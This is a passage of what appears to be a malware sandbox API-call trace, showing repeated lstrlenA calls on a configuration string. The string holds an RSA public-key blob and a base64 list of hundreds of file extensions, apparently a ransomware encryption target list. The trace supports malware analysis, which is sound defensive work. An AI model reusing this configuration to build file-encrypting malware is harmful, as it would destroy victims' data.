2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.399] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.399] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.399] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFm